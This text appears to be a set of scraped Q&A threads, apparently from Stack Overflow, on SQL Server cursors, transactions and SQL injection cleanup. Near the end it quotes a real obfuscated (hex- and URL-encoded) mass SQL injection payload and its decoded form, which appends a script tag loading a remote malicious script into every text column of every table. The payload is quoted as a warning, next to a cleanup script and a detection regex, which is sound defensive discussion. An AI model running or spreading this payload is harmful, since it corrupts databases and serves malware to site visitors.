I want to deallocate my variable?
can u help me?
You shouldn't need to. Flex languages use garbage-collection.
Related
EXEC SQL PREPARE MyStmt FROM :hStmt;
EXEC SQL DECLARE MyCursor CURSOR FOR MyStmt;
EXEC SQL SET CURSOR ROWS :hCursorRows FOR MyCursor;
--------------------------------------
--------------------------------------
--------------------------------------
EXEC SQL CLOSE MyCursor;
EXEC SQL DEALLOCATE CURSOR MyCursor;
What is the use of closing and de-allocating the cursor here? Even if we remove the last two lines and call this function again and again it works fine. Tried it with 30000 sequential calls to check for any cursor threshold.
First, some important concepts must be understood.
The CLOSE command is useful because you may want to prevent this cursor from being used later until you set it as OPEN again, however, this command does not remove the object reference, wich means that the memory still compromised with it. Because of that you can't create another cursor with the same name of another closed cursor.
On the other hand, DEALLOCATE, does remove the object reference. This means that the operational system could overwrite memory that was previously associated with the object and after execute this command you will be able to declare another cursor with the same name.
That is, you should want to just CLOSE in case that you're planning to use the object again. Now... why not just DEALLOCATE if you are not planning to use the object again? I mean, CLOSE command sounds redundant, right?
Well... it depends.
The default system behaviour is to declare cursors as GLOBAL. This means that, unless you explicit set the cursor as LOCAL (wich seems not to be your case), procedures called inside a main procedure that has a cursor declared will access this cursor too. That's why the CLOSE command exists and not only DEALLOCATE command: to provide a way to a GLOBAL cursor (which is default) be available through this inner callings.
If only DEALLOCATE existed, when used inside a main procedure, the inner procedures wouldn't have access to the cursor. In this way, there woudn't be reason to a GLOBAL behaviour even exist.
The right practice is use LOCAL cursors for local pourposes.
So, the answer is: If you sure your cursor is LOCAL, there's no pratical difference by using only DEALLOCATE or both (CLOSE and DEALLOCATE), since that DEALLOCATE performs CLOSE as well.
But if your cursor is GLOBAL, it means that you do intend to use it again further (otherwise, set explicit LOCAL) and you may want handle closings and openings as necessary, with only one DEALLOCATE at the end of all callings, OR not even that, because a cursor variable does not have to be explicitly deallocated. The variable is implicitly deallocated when it goes out of scope (reference: http://msdn.microsoft.com/en-us/library/ms188782.aspx).
Often cursors are created using SQL code, such as:
DECLARE MyCursor CURSOR
FOR SELECT SIN(A),COS(A)
FROM FGR_db_Database..tb_Angles
WHERE A BETWEEN 0 AND 360`
If the code already exists as a procedure, or more likely a much more complicated bit of code, could the procedure be used instead? For example:
DECLARE MyCursor CURSOR
FOR EXEC sp_PR_ProcedureName #l_Angle
I have tried but so far unsuccessfully and didn't know if it was at all possible.
Thanks in advance!
I used rollback concept in my procedure in dom table. After executing, then I ran the table like:
select * from dom
but the query executed continuously and did not stop. How can I stop this? Please help.
From your comment, you have this:
create proc
dom1
as
begin
begin trans
insert into dom(value)
if flag=0
rollback trans
else
commit
So what is flag? What is value? How are you passing in the value?
I don't think your code is useful for us to help you.
Take a look at Books Online for more information about ROLLBACK, or make it easier for us to help you.
I have some old databases i was handed that use SQL Server 2000 and they are getting SQL Injected with javascript script tags at the end of certain database fields. I need a trigger to strip out the injected on update until I have time to fix the front end that is allowing this.
I am a SQL Server novice - please help!
I think a constraint would be better. Anything that has compromised content would be better rejected.
Set up a constraint on the field something like
CHARINDEX('<script>',[fieldname]) = 0
Is there any regex like functionality in SQL Server 2000? The content of the script tags constantly changes.
something like:
UPDATE table
SET field = REPLACE(field, '</script>', REPLACE(field, '<script>',''))
WHERE table.pk IN (SELECT pk FROM inserted WHERE field LIKE '%script>')
?
There's a large scale attack that's been going on since way back in April, and if that's what getting you then you'd have to add a trigger for every table in the database.
This script modifies the original attack code to clean up everything in one swoop, assuming <script isn't valid text anywhere in the db:
DECLARE #T varchar(255),#C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO #T,#C
WHILE(##FETCH_STATUS=0) BEGIN
exec('update ['+#T+'] set ['+#C+']=LEFT(['+#C+'], CHARINDEX(''<script'', ['+#C+'])-1)
WHERE CHARINDEX(''<script'', ['+#C+']) >0')
FETCH NEXT FROM Table_Cursor INTO #T,#C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Additionally, I've heard you may have luck stopping this attack by removing SELECT permissions for the application user on syscolumns or sysobjects, if that's an option for you. You still need to fix your vulnerabilities in preparation for the next attack.
once your data is fixed you will need to find and fix the way the injections are getting into your datbase. I presume you are probably using dynamic SQl. This article will help you fix it so that injections won't be a problem
http://www.sommarskog.se/dynamic_sql.html
Is there a Regular Expression that can detect SQL in a string? Does anyone have a sample of something that they have used before to share?
Don't do it. You're practically guaranteed to fail. Use PreparedStatement (or its equivalent) instead.
Use stored procedures or prepared statements. How will you detect something like this?
BTW do NOT run this:
DECLARE%20#S%20VARCHAR(4000);SET%20#S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(#S);
Which translates to:
( DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO #T,#C
WHILE(##FETCH_STATUS=0)
BEGIN EXEC(
'UPDATE ['+#T+'] SET ['+#C+']=RTRIM(CONVERT(VARCHAR(4000),['+#C+']))+''<script src=chkbnr.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO #T,#C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor )
Save yourself problems and use stored procedures with prepared statements or parameterized queries. Stored procedures are good practice anyway, as they act like an interface to the database, so you can change what happens behind the scenes (inside the stored proc) but the signature remains the same. The prepared statements help take care of injection protection.
I don't have a regex but my understanding is that the most important thing is to detect the single quote. All the injection attacks start from there. They probably have the -- in there too to comment out and other SQL that might be after the string.
As said, it is better to use prepared statements. You could argue forcing key queries to be executed by a stored procedure to force the use of preparing the call.
Anyway, here is a simple grep to detect classic n=n integer in where clauses; it skips flagging the 1=1 used by many lazy query constructors for the AND, but will flag it for the OR
((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4
It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc.
Use it on a query log, such as mysql's general log
Hope its useful